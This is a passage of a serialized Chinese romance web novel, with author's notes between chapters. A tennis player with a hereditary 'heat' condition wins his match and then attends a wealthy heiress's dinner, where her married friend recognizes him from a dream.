在换了惯用手后比分又开始往沈霁那边倒,青年的手臂肌肉随着击球的动作像呼吸一样起伏着,有力遒劲,配上那张过于漂亮的脸,让网球这项运动更具观赏性。 沈霁的实力本就强于对手,这一点从他用受伤的那只手撑到了抢七局就可见一斑。 如今换了惯用手后拿下最后一局赢得比赛并无悬念—— 可偏偏意外在这时候出现了。 在被沈霁连续得分,打得毫无招架之力后,他的对手分寸大乱,加上青年的球越来越快,越来越重,导致接球的时候没接稳,尽管使出全力把球打回去了,可球脱离了轨迹,生生擦着沈霁的脖子过去。 沈霁反应迅速地侧身避开,球过了界。 尽管他判断正确得到了这一分,也没有让球砸到自己,可由于球速过快,擦过去的时候带起的风也强烈,刺激得沈霁脖子又热又疼。 和右手的伤比起来这点程度的擦伤只能算不痛不痒,偏偏是脖子。 那是他最脆弱敏感的地方。 沈霁疼得脸色一白,握着球拍的手也差点儿卸力掉下。 原本既定的局势在这时候出现了变故,本该一球定胜负结束这场比赛的沈霁却接连好几次丢了分,直到比分被对手彻底追平。 局势逆转,一球定胜负的人成了对方。 沈霁这次没办法像之前那样伪装得天衣无缝,他的视野有些模糊,脸色也很难看,在镜头下糟糕的状态显而易见。 杨清容“咦”了一声,刚才不是躲开了吗,怎么一副被砸中的样子。 不过白琼说的没错,他的手似乎真的受伤了,不然也不会在最后关头换手。 但无论他受伤与否还是发挥失常,这都不是借口,如果没有赢那一切都将毫无意义,她的目光可不会停留在一个败者身上—— “他要是输了你会失望吗?” “输了就输了,这有什么好失望的,我又不是他的粉。” 是啊,会在意这些的只有自己。 白琼不是她,她生活的环境不会让她用利益价值来衡量他人。 杨清容这么想着,下一秒听到女人话锋一转道:“当然,如果可以的话我希望他能赢。” 杨清容意外地挑了挑眉:“为什么,你不是不在意输赢吗?” “我是不在意,但你在意啊。你那么看好他,又是特意订票来现场看比赛,又买了带有他专访的杂志,你心里肯定很希望他赢吧。” 白琼把先前杨清容吃了一半扔在盘子里的糕点拿起来,笑眯眯送到她嘴边:“所以希望他争气点,别让我们杨大小姐失望。” 杨清容看着眼前眉眼弯弯的女人,眼眸闪了闪。 “……油嘴滑舌。” 她张嘴吃下了糕点,将目光再次放到了赛场。 最后一个球是沈霁发球,因为是决定胜负的一球,哪怕先前一直应对得游刃有余的青年神色也肉眼可见变得凝重了起来。 沈霁的运动神经自小就很优越,尤其是在网球上,他的反应速度,动态视力等方面都远超常人,有天赋是好事,但如果没有副作用就好了。 就像超忆症一样,记忆太多忘却不掉,尤其是痛苦的事情在午夜梦回里反复浮现是一件极其痛苦的体验。 沈霁的记忆力也很好,不过还没有到超忆症这样夸张的程度,只是他的问题和超忆症一样,都属于感官过载。 一开始他发达的运动神经只体现在体能上,到后面他的嗅觉,听力,视觉随着时间变得越来越灵敏,一点细微的声音都会影响他睡眠,一点轻微的触碰都会让他如针扎一般难以忍受。 好在这并不是没有解决办法,睡不着戴耳塞,不想被人触碰就远离。 只是这些烦恼还好,小心一些就行,唯独在过载的感官中滋生出来的还有连他都感到陌生的可怖欲望。 这样一味的忍受和压抑着就像被吹得越来越大的气球,一不小心就会爆炸,失控。 五年前的那件情便是血淋淋的教训。 所以不能再忍耐了,即使释放一点也好,不然他很有可能会重蹈覆辙。 沈霁缓缓吐出一口浊气,伴随着脖子上越来越烫灼的温度,一缕浅淡的花香溢了出来。 他握紧手中的球,将其高高抛起。 绿色的球体和头顶的灯光重叠在了一起,强光得到了遮挡,让沈霁疲惫的眼睛得到了缓解。 沈霁知道自己此刻的情况很糟糕,身体逐渐蔓延着的热度都在警醒着自己要是不速战速决他随时都可能会晕倒在现场。 在他尚且还能站稳,还清醒之前结束这场比赛。 他要让对方接不住这个球。 沈霁手臂肌肉陡然绷紧,球拍以一个刁钻的角度加重了球的旋转,速度快得连摄像机都无法捕捉。 砰的一声,击球声和对方因为无法承重而球拍脱手掉落在地的声音几乎同时响起。 胜负已分。 在裁判宣判结果的瞬间他拽掉了发绳,乌黑浓密的长发如绸缎一般披散而下,精致的眉眼褪去了先前比赛时的严肃冷凝,浮现出意气风发的张扬。 镜头纷纷对准了这位胜利者,白琼的目光也定定落在他的脸上。 那么多镜头,他偏好巧不巧往白琼她们这边看来,特写的镜头中男人皮肤的纹理,额头的汗珠,以至于那张红得生艳的嘴唇都似近在咫尺。 他微喘着气,唇齿之间的那截若隐若现,由于灯光太强烈,他不得不眯着眼睛,这样直勾勾对着镜头,像神志不清的迷离,又像欲拒还迎的引诱。 白琼呼吸一窒,明明知道对方看不见自己,却还是莫名心虚地移开了目光。 “终于结束了。” 杨清容揉了揉发酸的脖颈,不满道:“累死我了,早知道这场比赛会耗时这么久我就不来了,嘛,好在结果是好的。” “这花也没白准备。” 她拍了拍手,吩咐道:“去帮我送给他吧。” 白琼先前的注意力全都集中在了沈霁身上,此时才发现杨清容身边的保镖不知何时抱了一束花进来。 在看到那束花的瞬间她整个人似定住一般僵在了原地。 浅紫色的花瓣层层绽开,如烟霞如纱幔,更像清晨间萦绕在远山之上的雾霭,柔美,矜贵,风一吹就散在天际,变成振翅的蝶。 她恍惚地有些分不清梦境和现实。 在梦里,顾厌迟送给那个男人的花也是蝴蝶兰—— 作者有话说:感谢baby们支持,V章评论发红包么么哒。【】 20、第二十章 第20章 一场本该毫无悬念, 中途却反转刺激的终于比赛结束了。 大多数人都和杨清容的想法一样,觉得只要结果是好的过程怎样都没什么所谓。 沈霁的教练对此却很不满意。 不是不满意这个结果,而是不满意他将本该早早结束的比赛硬生生拖到了抢七。 “你究竟在干什么?你上场之前我三令五申告诉过你不要轻敌, 速战速决, 你的情况打持久赛就是找死, 你倒好把我的话全当耳旁风了!” 沈霁用毛巾擦着汗, 淡淡道:“原来你还知道我这个情况不适合上场啊。” 他抬眸, 那双漆黑的眸子深不见底,看得人心发慌。 “别说的好像你有多关心我似的, 怪恶心的。” 教练脸色难看,深吸了一口气道:“你说话非要这么夹枪带棒吗?是, 我在明知道你身体条件不允许的情况下坚持让你上场是有些没考虑到你,但云顶杯不也是你打响国内市场的第一枪吗, 更何况你爸现在资金链出了问题,就算我真劝你放弃你会放弃吗?” “所以我也没说你什么不是吗?” 其实沈霁并不是真的在生教练的气, 他只是在迁怒。 谁叫他不仅是他的教练,还听从他父亲的指示呢? 一想到自己的一举一动,一言一行都会被男人告知给对方, 哪怕知道他也只是个拿钱办事的打工人, 他也还是难免不对他生出点戾气。 不过他今天行事的确鲁莽了。 他并不是真的轻视对手,他只是想要把自己逼到极限, 体力的极限,承受的极限, 竭力让肾上腺素达到顶点。 因为如果不这样做的话,那一直压抑和积攒在心里的那团熊熊燃烧的火焰就没办法找到宣泄的出口。 可饶是如此,在身体和心理的双重压力之下他也只仅仅得到了那么一点的喘息。 稍纵即逝,杯水车薪。 沈霁感觉自己要是再继续这样下去迟早有一天会疯掉的。 教练此刻也注意到了青年的不对劲, 都已经休息了快半小时了,他脸上的薄红非但没有降下去,反而还要继续蔓延的趋势。 他的视线往下,果不其然看到沈霁脖子上明显比脸还要深一度的颜色。 “你那个又来了?” 沈霁冷冰冰道:“什么叫那个,说的好像有生理期似的。” 教练笑了下:“你那个奇怪的热潮基本上也每个月来一次,而且每次来的时候情绪会变得暴躁易怒,很不稳定,和女人的生理期也没什么不同。” 调侃了一两句后他收敛了神情,正色道:“上次体检医生怎么说,有没有诊断出你这个热潮是怎么导致的?” 这个问题基本上每次体检后他都会过问,但每次沈霁都回答得模棱两可,这次也不例外。 “没什么,我天生体质就这样,就像有的人体寒,我体热,热过头了会散散热气,和高压锅开了放气是一个道理。” 教练扯了下嘴角:“你看我脸上写了白痴两个字吗?而且你敷衍我能不能统一点,上次你还说是因为细胞活性太强。” 青年道:“哦是吗?你记错了吧。” 教练:“……” 他翻了个白眼,懒得和这个谎话张口就来的家伙浪费时间争辩这种没有营养的话题。 “那有说怎么解决和缓解吗?一直硬抗也不是个事,你没发现你的情况越来越严重了吗,持续的时间也越来越长了吗?这次你还能保持意识拿下比赛算你运气好,之后呢,没法参加决赛是一回事,万一烧坏脑袋了怎么办?” 这不是危言耸听,上次沈霁一度烧到了四十度,整个人直接晕倒在地,在医院躺了三天才退烧转醒,他的手臂就是那时候受伤的。 教练见沈霁不说话,把他无视了个彻底,他也来了火气,威胁道:“沈霁,你搞清楚一点你的身体不光是你自己的,更属于整个团队,以前我看你情况还算稳定也就睁一只眼闭一只眼了,你要是再继续不把自己的身体当回事,我管不了你,那我就只有让你母亲来管了。” 沈霁自小和沈母相依为命,女人未婚先孕,因为他受尽周围人的白眼,沈霁不知道自己的父亲是谁,也不想知道,在他眼里那种没有担当的男人压根不配当他的父亲。 但沈母哪怕被男人抛弃也一直深爱着他,为他拒绝了好几个追求者,苦苦等着他回心转意来接他们母子。 一开始小小的沈霁心中尽管有怨也是渴望父爱的,只是随着时间一年一年流逝,希望变成了积攒的失望,他也没再期待过所谓的父爱。 可没想到的是在十六岁的时候,那个男人真的来了。 总是以泪洗面的女人在看到那个男人的时候欣喜若狂,后者神情冷漠,目光越过她,带着审视和挑剔落在了沈霁身上。 那眼神冰冷凉薄,实在不像是一个父亲看向儿子的眼神,更像是看货物,他在估量他的价值,从头到脚,毫无温情。 好在沈霁还算优秀,入了他的眼,于是他大发慈悲的把他们母子从破旧偏僻的居所接走了。 回到沈家后沈霁才得知男人早在十六年前,和他母亲断掉后就结了婚,婚后一直都没有孩子,去医院检查才发现男人患有罕见的弱精症,于是他的原配果断和他离了婚。 也就是说不出意外的话沈霁是他这辈子唯一的孩子——这才是对方找回自己,和沈母结婚的真相。 如果说在没见到沈父之前,沈霁对这个抛弃他们母子的男人更多的是怨,到了如今则变成了恨。 偏偏沈母爱沈父,爱得没了自我,对于男人抛弃她这件事她不仅不恨,甚至只有爱人失而复得的狂喜。 而沈霁最在乎的又是沈母。 就像挟天子以令诸侯般,只要沈母深爱着男人一天,沈霁就会被对方掣肘着。 爱是囚笼。 这一点沈霁在很久以前就知道了。 他已经被困在名为爱的囚笼了,所以绝对不允许自己再困在所谓欲望的囚笼里。 是的,欲望。 沈霁之所以每次在教练问他热潮的事情时候要么含糊其辞,要么顾左右而言他,是因为这是遗传。 这样的热潮沈母也有,且只有沈父能帮她缓解。 她一直无法离开男人,除了爱,大概还因为这生不如死的热潮。 在男人没有出现之前,女人虽然痛苦,但却并没有到达难以忍受的程度,但随着男人的出现,一遍又一遍的疏解中,她对对方的依赖越发强烈。 沈霁从一开始就知道缓解热潮的办法,可那是饮鸩止渴的毒药。 他不想变成另一个沈母。 “……距离决赛还有一段时间,在此之前我会注意休养,把状态调节到最佳。” 沈霁沉默了半晌,沉声道:“下次我会听从你的战术,不会再这样乱来了。” 青年的服软让教练松了口气。 早这样不就完了吗,每次非得让他搬出沈母他才老实。 虽然不知道沈霁为什么那么不想让他母亲知道他的身体状况,就算怕对方担心也没必要隐瞒这种事情,又不是什么药石无医的绝症。 还是说这个病另有什么隐情? “叶教练。” 叶勤的思绪被一道男声打断,只见一个身材魁梧,戴着黑墨镜的男人走了过来。 他第一眼就注意到了对方手中的蝴蝶兰。 那是沈霁最喜欢的花,他的球迷每次都会在他取得胜利的时候订购用蝴蝶兰制作的花束为他庆贺。 沈霁以前主要在国外活动,国内的人气并没有那么高,知道他喜好的人不多,会送他花束的人也不多,且叶勤都眼熟,唯独眼前的人很是面生。 “请问你是?” “我是杨清容杨小姐的贴身保镖,这是杨小姐特意为沈先生准备的花束,庆贺他取得胜利。” 杨清容? 叶勤一愣,脑子里立刻浮现出了和名字相对应的人的模样。 他惊讶地睁大眼睛,不确定问道:“是那个杨氏国际银行的杨清容杨小姐吗?” 保镖点头,然后将花递给了沈霁:“小姐让我替她给你说声恭喜,还问你一会儿有没有空和她还有她的朋友一起共进晚餐。” 保镖戴着墨镜看不清神情,反而这样面无表情的样子加上那一米九的个头还有过于魁梧的块头,给人一种极强的压迫感。 叶勤一个大男人瞧着都有些发怵。 沈霁的个头和保镖相差无几,身材也偏纤细清瘦,可两人站在一起他的气势并不输,甚至还隐隐压制对方一分。 他垂眸盯着那束浅紫色的花,很新鲜,品相也是上上乘,一看就价值不菲。 但沈霁判断花的价值并不是简单通过眼睛去看,更多的是嗅觉。 不同的花有不同的香气,因此很好分辨,可同品种的花之间的香气的差别却很细微。 沈霁很难分辨出别的相同品种花的好与坏,唯独蝴蝶兰。 因为他身上也有相同的气息,只是他的气息比蝴蝶兰要更加馥郁浓烈。 他喜欢蝴蝶兰的原因也很简单——只有它的香气能让他的燥热得以缓解。 “沈先生?” 沈霁眼睫颤了下,从那抹如烟似雾的紫色中回过神来,轻声道:“替我谢谢杨小姐。” 他收下了花,漂亮的花束在他怀里并没有喧宾夺主,反而衬得青年那张雌雄莫辨的面容更加昳丽。 保镖直勾勾注视着他没有离开。 沈霁用手指轻轻拨弄了下紫色的花瓣,上面用来保鲜的水珠滴在了他的指尖。 “咳咳。” 叶勤假咳提醒道:“那个沈霁,你还没回答去还是不去呢。” 沈霁似才反应过来般,朝着保镖露出一抹微笑,他本就生的好看,笑起来的时候更是让人目眩神移。 有那么一瞬间保镖觉得眼前的男人不是人,而是蝴蝶兰幻化而成的精怪。 “当然可以,能和杨小姐共进晚餐是我的荣幸。” 保镖被那笑晃了眼,晕晕乎乎的回去复命了。 杨清容对沈霁会答应自己并不意外,毕竟自己的魅力和财力摆在那儿,别说一个沈霁了,十个沈霁她都手到擒来。 不过她手到擒来没用,得让白琼手到擒来。 杨清容看向一旁从保镖去送花开始就心不在焉的女人,曲着手指轻敲了下桌子。 “回神了,想什么呢这么认真?” 白琼如梦初醒,慢半拍问道:“你刚才说什么来着?” 杨清容耐着性子重复了遍:“我说一会儿陪我去吃个饭,除了沈霁还有我几个生意上的朋友,她们也在现场,我们进场的时候她们瞧见我了,我不好撇下她们单独叫沈霁过去。” “……可以不去吗?” 杨清容以为她是介意有陌生人,放柔声音道:“你放心,你只需要埋头干饭,我不会让她们上你跟前打扰你给你找不自在。” 白琼是个心软的,往常她说到这份上她基本上已经要松口答应了,可今天对方却意外的“铁石心肠”。 “清容,这次就算了吧,下次吧。” 这个饭局本来就是特意为了给她和沈霁牵线搭桥才组的,主角都不去怎么行? 杨清容抓着白琼的手,少有的猛女撒娇,夹着嗓子道:“白琼,我的好白琼,你就陪我去吧,我对那个沈霁真挺感兴趣的,最近我家里人催得紧,希望我收心好好找个对象结婚。我看他还不错,长得好又有实力,可知人知面不知心,这事关我的人生大事,作为我的姐妹你不得过去替我把把关?” 杨清容是出了名的爱玩,对待男人就像对待衣服一样隔三差五地换,尽管这和白琼的感情观不契合,但你情我愿,她也从没有说过女人什么不是,只是看着对方从大学到如今大学毕业至今,男人换了一个又一个,白琼多少也有些替自家好友着急。 和她的家人一样,白琼心里也希望她早点成家安定下来。 因此在听到杨清容这番话后,她的态度明显有了松动。 “你真这么想?” 杨清容无奈耸了耸肩:“没办法,谁叫我妈她们天天在我耳边唠叨,我也是被他们烦得没招了。” “不过我是让你帮我考察下,不是真确定就是他了,感情这东西嘛还是得讲究缘分,急不得。” 她打了个补丁。 白琼没想过这是对方针对自己设计的美人计,思维全然被杨清容牵着鼻子走了。 其实她排斥的不是杨清容的那几个生意伙伴,而是沈霁。 那个梦太真实了,梦里那个男人同样也是个运动员,顾厌迟送的好巧不巧也是蝴蝶兰。 白琼确定以及肯定自己之前没有见过沈霁,连听顾厌迟提起都没有过,可就是这样一个她本该完全陌生的人却几次三番出现在她的梦里。 梦可以是日有所思,也可以是日有所见,唯独不可能是虚假变为现实。 试想一下你梦到的东西突然出现在了你的面前,你是惊喜居多还是惊吓居多。 当然,沈霁那张赏心悦目的脸让她实在很难违心的用上可怕这样的字眼,白琼也不害怕沈霁本身,她害怕的是那个梦里从未见过的对着旁人温柔展颜的顾厌迟。 她抗拒着接受那个画面也可能变为现实。 不过现在下定论说沈霁就是梦里那个男人还言之过早,毕竟她在梦里并没有看清他的长相。 或许……只是巧合而已。 这世上相似的人太多了,更何况还是梦中人。 白琼垂下眼眸,在压下眼底的情绪后同样将压下心头紊乱的思绪一并掩藏。 最后缓缓吐出一口浊气,在女人期待的目光下轻轻点头答应了—— 作者有话说:评论依旧发红包,我后面没稿子了,然后有点卡,又要上夹子了,所以我打算二十三号晚上多写点再更,大家二十三号晚上见。 红包也是那天统一发 爱你们么么哒。【】 20-30 第21章 杨清容订的餐厅距离比赛场地并不远, 半个小时车程不到。 只是她很讨厌等人,且从小到大也只有别人等她的份,所以之前她提前到了比赛场地却发现白琼没到才这么不爽。 这次也不例外, 杨清容是那群生意伙伴中最后到的。 只是没想到沈霁到的比她还要晚。 这让杨清容的脸色很不好看, 语气不耐问一旁的保镖:“你没告诉他什么时间到?” 保镖忙摇头道:“我说了七点之前。” 杨清容脸更黑了。 这还没见面沈霁就踩了女人的雷区, 也不知道两人后续还有没有接触下去的可能。 不光就算他没有迟到, 白琼也不觉得两人能来电。 沈霁怎么想她不知道, 但她了解杨清容,女人虽然是个颜控, 可不是无条件的颜控——她不喜欢比她好看的人。 大小姐可接受不了别人抢她的风头,成为别人的陪衬。 所以白琼对于杨清容说打算和沈霁接触, 合适的话就确定关系交往这样的话半信半疑,只是万一她是认真的呢? 毕竟那样一张脸很难有人能不动心吧。 白琼刚这么想着, 余光就瞥见女人越来越沉的脸色。 杨清容抱着手臂,时不时抬头去看墙上挂着的时钟, 分针已经指到了“2”。 她刚才就晚到了五分钟杨清容就已经颇有微词了,沈霁让她等了十分钟,可能还会更久, 就算他长得再花容月貌, 在杨大小姐这里的容忍度和好感度都成了负数。 看来这两人是没戏了。 白琼在心里下了定论。 没过一会儿,在大小姐忍耐濒临极限的时候门外传来了姗姗来迟的脚步声。 门被服务员从外推开, 沈霁的脸赫然映入了众人的视野。 尽管之前在镜头中早就看清了他的脸,可镜头和肉眼看到的样子是有差别的, 白琼发现对方并不上镜,那张在镜头中已经好看得让人移不开目光的面容在现实中见到后更具冲击性。 他的头发依旧是绑着的,不过不是赛场上为了方便活动而高高抓成的马尾,而是松松绑了中段, 任由它垂在背后。 那身白色的网球服也换下了,白色的正装把他手臂的肌肉线条遮挡,可从没有褶皱的略显紧绷的衣料之下还是能看出他宽肩窄腰,穿衣有肉的好身材。 白琼和杨清容是并排站着的,只是两人的气质天差地别,一个柔和寡淡的像水一样没什么存在感,一个艳丽的如同红玫瑰。 在白琼的记忆里只要是她和女人同框,如果没人提醒,旁人很难第一时间注意到她。 可这次却是意外,男人的视线扫过了众人,最后停在了她们身上。 半晌,沈霁的声音带着不确定问道:“请问你们谁是杨清容杨小姐?” “哈?” 杨清容有那么瞬间以为自己听错了,旁边的白琼也同样惊讶地睁大了眼睛。 虽说女人不像那些大明星一样家喻户晓,但那种用金钱养出来的富贵从容的气质和白琼这样相对小家子气的相比较一眼就能分辨。 所有人都认为沈霁是故意的,包括白琼也对他是不是真的没认出杨清容这件事持有怀疑。 这让因为男人迟到而感到火大的杨清容对对方的印象更差了。 沈霁也不是个读不懂空气的人,见杨清容这个反应便猜出她才是邀请他共进晚餐的女人。 他并不是故意找茬,而是真的没分辨出来。 和别人单纯通过眼睛看人不同,沈霁更多的是感知。 虽说两人的气质天差地别,可光从气势上来看在外人看来毫不起眼的白琼反而是隐隐压制杨清容的一方。 真要形容的话杨清容像一团火,很亮,的确一眼就能看见,可白琼却是水。 水单独出现并不会引起人的注意,但在火的面前只要她想,随时都可以将其压制扑灭。 白琼不是真的不起眼,只是习惯性让自己看上去不起眼罢了。 沈霁的目光在白琼身上多停留了一秒,随即语带歉意对一旁的杨清容说道:“不好意思让你久等了,我刚比完赛不好直接过来见你,所以稍微收拾了下耽搁了点时间,请你见谅。” 他朝着女人轻勾了下唇角。 “还有,谢谢你送的花,很漂亮,我很喜欢。” 沈霁知道自己这张脸是无往不利的武器,尤其是笑的时候很难有人能抗拒。 饶是见惯了美人的杨清容也在看到男人的笑后恍惚了一瞬。 于是白琼就看见前一秒还怒气冲冲打算兴师问罪的女人,下一秒脸色肉眼可见柔和了下来。 伸手不打笑脸人,尤其还是面对这样的美人—— 道理是这个道理,可这道理放在杨清容身上就不一定了。 出人意料的是一向“不讲道理”的女人这一次竟然就这样对沈霁轻拿轻放了,难道她是真的很喜欢对方,喜欢到容忍度都提高了吗? 白琼不知道的是杨清容自己也很意外,毕竟自己是一个有多刻薄的人没有她本人更清楚了。 对方的笑容的确让人很难有脾气,但这并不是最主要的,是香气。 从沈霁身上散发的那点儿极淡的蝴蝶兰的香气,才是让她的怒火奇迹般消散的真正原因。 杨清容看着面前不卑不亢的男人,压下心头那怪异的感觉,还算温和的回答道:“你喜欢就好。” 沈霁见她神情稍缓,这才朝着女人伸手,正式介绍了自己。 “你好,我叫沈霁,雪霁的霁。” 杨清容微微颔首算是回应,却没有任何动作。 杨清容就是这样一个睚眦必报的人,只要对方让她不爽了,无论事大事小她都会回敬过去。 在场的人虽说是她生意上的伙伴,可他们的地位并不平等,富二代也有等级高低之分,很明显这群人中是以杨清容为首的。 他们各个都是人精,最会看人下菜碟,本身在得知杨清容邀请了沈霁过来他们就在猜测对方是不是对他有意思,如今看女人对他那不假辞色的态度想来并不是那么一回事。 既然她并不属意对方,又偏把人叫到这样的饭局上,那沈霁的定位显而易见不是情人,而是玩意儿。 因此原本刻意收敛的目光变得直白灼热,沈霁不由地皱了皱眉。 不过很快的他便恢复面色如常的样子。 由于这张过于招摇的脸,沈霁可以说是在众人的目光下长大的,那些目光有善意的欣赏,更有恶意的打量,并随着沈霁长大后变得越发龌龊露骨。 尤其是在他回到沈家,沈父强迫他参加各种应酬,利用他这张脸谈下了不少生意后,那些人看他的眼神就更加肆无忌惮了。 同样的这次答应杨清容的邀请也是如此。 无论杨清容是真的对他有意思还是单纯把他当成个调剂的消遣,沈霁都没办法拒绝。 沈家最近的资金链出了问题,这时候要是再得罪一个杨清容那沈家就彻底玩完了。 见女人迟迟没有握手的打算,沈霁也不恼,只是维持着得体的笑容准备将手放下,下一秒一只修长白皙的手猝不及防闯入了他的视野,然后握了上来。 沈霁错愕地看向白琼,后者的目光和周围人落到他身上的目光一样的强烈,只是她注视着不是他的脸,而是他的手。 白琼直勾勾盯着那只手,每一寸肌肤,每一处骨节,手背之下的青色血管的走向,最后停留在他带着薄茧的虎口。 那是这件完美无瑕的白瓷之上唯一的瑕疵,透着易碎的美感,惹人怜爱。 一样,和梦里那只手一样,就连虎口处的薄茧也如出一辙。 白琼呼吸一窒,握着对方的手不自觉收紧了力道。 “嘶。” 沈霁虽然伸的是没有受伤的那只手,但是在经过一场高负荷的比赛后他的这只手也没轻松到哪儿去,被女人这样用力一握疼得他脸都白了。 “这位……小姐?” 他皮笑肉不笑道:“可以麻烦你松开一下吗?” “啊抱歉。” 白琼抽回手,掌心残留的温热让她指尖微动。 是真的。 眼前的人是真的,梦里的人……或许也是真的。 所以那个梦到底是什么?预知梦? 白琼脑子很乱,在种种巧合之下她没办法再自欺欺人的把沈霁和梦里的人区别看待,那种现实和梦境混淆的混乱感让她有一种踩在云上的不真实感,以至于对方在说什么她都没听见。 而这副样子落在杨清容眼中则成了她看沈霁看入迷了。 不仅入迷了,还“情难自禁”起来了,这不,手握着都不知道放呢。 杨清容扶额,头一次觉得自家好友有些丢人。 “那个,她刚才和我一起看了你的比赛,对你挺欣赏的,所以见到你可能有点紧张。” 沈霁不动声色地揉了揉酸疼的手,温声道:“是吗,能得到这位小姐的青睐我很高兴……对了,请问她怎么称呼?” “她叫白琼。” 杨清容在白琼开口之前抢先帮她回答了,她只说了名字,没有告知白琼是顾厌迟妻子这件事。 白琼还没有迟钝到对女人的反常丝毫没有觉察的程度,不过她也没太在意,因为杨清容很讨厌顾厌迟,不光是和他这个人合不来,还因为他抢走了她这个好友。 杨清容的性格说好听了是占有欲强,说不好听了就是霸道,从小到大只要是她的东西,无论是人还是物都不允许别人染指。 作为她的朋友,白琼也是被她纳入所有物范畴内的,可本该属于她一个人的朋友满心满眼都是顾厌迟那个讨厌鬼,这是她一直都耿耿于怀的。 耿耿于怀到连对外介绍她的时候也仅仅缀以她的朋友这个身份,绝口不提顾厌迟分毫。 白琼自觉自从结了婚后除了工作之外,大多数时间都是围着顾厌迟转忽略了对方,对此从未进行过补充说明。 她以为这次杨清容也是出于这个原因才这样介绍的自己,便也什么也没说。 况且她也不愿在对方面前提起顾厌迟。 杨清容说沈霁和顾厌迟是好友,但好友都是阶段性的,顾厌迟没有提起过对方,对方这么些年也一直都在国外发展,没有联系,再好的感情也会随着时间变淡。 最好一直淡下去,老死不相往来那种。 白琼被自己突然冒出来的有些恶毒的想法给吓到了。 之前她还为杨清容幼稚的忽略她是顾厌迟妻子的自欺欺人的做法而哭笑不得,此刻她发现论起占有欲自己也不遑多让。 顾厌迟的朋友很少,但不是没有,不过他的那些朋友与其说是朋友,更像是追随他的小弟,如果不是从小一块儿长大,家里人之间互相有些生意上的往来,以他那眼高于顶的性子是不可能看得上他们,更不会允许他们以他的兄弟自居的。 对于他的那些朋友,白琼不会生起一丝一毫的嫉妒心。 可沈霁不一样,他是顾厌迟认可的人,两者的性质截然不同。 从沈霁身上白琼感到了前所未有的危机感,因此对方生得再好看,再对她的审美她都很难喜欢起来。 同时白琼又在心里可悲的生起了一股庆幸,幸好他是个男的,要是个女人,不敢想对方那么优秀顾厌迟当初还会不会松口答应和她结婚。 ““啧,行了,介绍也介绍了,赶紧坐下吃饭吧。” 本来这个饭局就是为白琼和沈霁组的,可真看到白琼对他感兴趣了杨清容对那点对朋友的占有欲又上来了。 她走上前把两人隔开,拽着白琼落了座。 这种饭局的座位也很有讲究,一般由地位高低来排,杨清容自然坐在主位,她旁边则是白琼,沈霁在这圈富二代中排都排不上号按理说该坐在最角落当个花瓶陪衬。 可谁叫他是杨清容看上的玩意儿呢。 所以他的位置也水涨船高排到了杨清容的旁边。 他们和杨清容组过不少的饭局了,这个约定俗成的规矩他们都懂,于是都很默契的把女人身边的位置空了出来。 沈霁看着那个特意空出来位置眼眸闪了闪,在来之前他就已经做好了被人消遣的准备,只是真正到了那个时候他还是很难真的心平气和地接受。 杨清容知道他或许是听说过他在圈子里“交际花”的名声,又或者只是看了比赛后的心血来潮,对她这种身份的人来说消遣他就和在夜店里点人一样,没什么区别。 若他第一时间在对方邀请的时候拒绝了,没准她还能高看自己一分,可他接受了。 在这种情况下等同于默认她可以对他做任何事。 那么这场饭局从沈霁答应赴约开始,他就不可能真正得到所谓的尊重。 这一点白琼也清楚,每一个被杨清容看上的猎物都是这样的定位,她只是不认同对方的感情观,却不觉得这个行为本身有什么问题。 杨清容又没有强迫他们,各有所图,你情我愿。 沈霁也不过是众多想要攀杨清容这根高枝的其中之一。 白琼以前从不会因为有人想要走捷径往上爬而攀龙附凤的行为有任何歧视的想法,这次却不一样。 对于沈霁的做法,她有些反感,尤其是见他面色如常地坐下,还对杨清容露出了笑容。 尽管那只是一个礼貌性的微笑,没有谄媚和讨好,可她却怎么看怎么不舒服。 准确来说是失望,失望这样的人竟然是顾厌迟的朋友。 沈霁对于周围人的视线向来敏锐,他感觉到从刚才到现在那个叫白琼的女人总是时不时的把目光往他身上瞥,很隐晦,但正因为在一众人肆无忌惮地打量中反而显得很明显。 而且她的眼神很温和,像初春消融的春水,澄澈干净,不带一丝的杂质。 因着这样一张脸,沈霁很少被人用这样纯粹的目光注视过,这让在知道她是杨清容的好友对她没什么好印象的想法也淡了许多。 于是沈霁弯了下眉眼,也对她笑了。 和面对杨清容时候一样的是礼貌客套的笑,不过少有的带了点儿温度。 白琼原本在对方觉察到自己的打量准备收回视线,却在看到这一幕后忘了动作。 她恍惚了一瞬,回过神来的时候男人先一步移开了目光。 只是那画面已经像吸烟刻肺一样烙印在了她的脑海。 她不受控制想起了那个梦,梦里的男人拿着浅紫色的花束低头嗅闻着。 当时白琼看不见他的脸,不知道他是什么表情。 现在她似乎知道了,他应该也是在笑吧。 和那束蝴蝶兰一样,舒展的花瓣是他饱满的唇,沁着的水珠让那抹唇色润泽潋滟。 唯一不同的是梦里他在看花,此刻看的是她。 …… 白琼突然觉得有些口干舌燥,就近拿起面前的杯子喝了一口,等到舌尖传来刺激苦涩的味道后她才发现自己喝的是酒。 杨清容挑了挑眉:“你什么时候学会喝酒了?” 白琼缓了一会儿,等到嘴里的味道不那么强烈后,回答道:“……拿错了,我以为是水。” 说着她把杯子放下,杨清容也不介意,拿起杯子轻晃醒酒,等到香气散发出来后抿了一口,感受着酒香在唇齿间蔓延。 她眯了眯眼睛,说道:“我还挺喜欢这款葡萄酒的,香味浓郁,唇齿留香,你呢,觉得味道如何?” 杨清容也就是随口一问,可由于自己刚才是想沈霁的事情出了神才误喝的,她有些幼稚的迁怒起了这杯酒。 白琼闷闷道:“也就那样。” “嚯,你品味还挺高,改天我从我爸酒窖里给你扒拉几瓶好酒尝尝。” 杨清容调侃了白琼一句,趁着她没注意的时候给对面的一个男人使了个眼色。 虽然这个饭局是给白琼和沈霁的牵桥搭线的,可她不推波助澜一把的话别说一顿饭了,吃个十顿这两人估计都难有进展。 有什么东西能让第一次见面的男女关系迅速升温呢?答案很简单——酒。 白琼不会喝酒,就算她能喝酒杨清容也不敢把她灌醉让他们两人发生点什么。 一来她不会把自己的朋友置于道德的低地,另一方面等到白琼酒醒知道自己被算计了,她们连朋友估计都没得做。 所以这酒得灌,但灌的是沈霁。 在得到杨清容的授意后,男人拿起酒杯冷不丁对沈霁道:“沈先生迟到了,虽然杨小姐不追究,但你让这么多人等了这么久,不自罚三杯说不过去吧。” 男人突然的发难让沈霁一愣,他没立刻回答,而是看向一旁的杨清容。 杨清容只笑着道:“这酒不错。” 她这么说沈霁哪能不知道她的意思,他眼眸沉了一分,面无表情地喝完三杯酒。 喝完自罚的三杯,怕对方再挑他的错处,起身又敬了对方一杯。 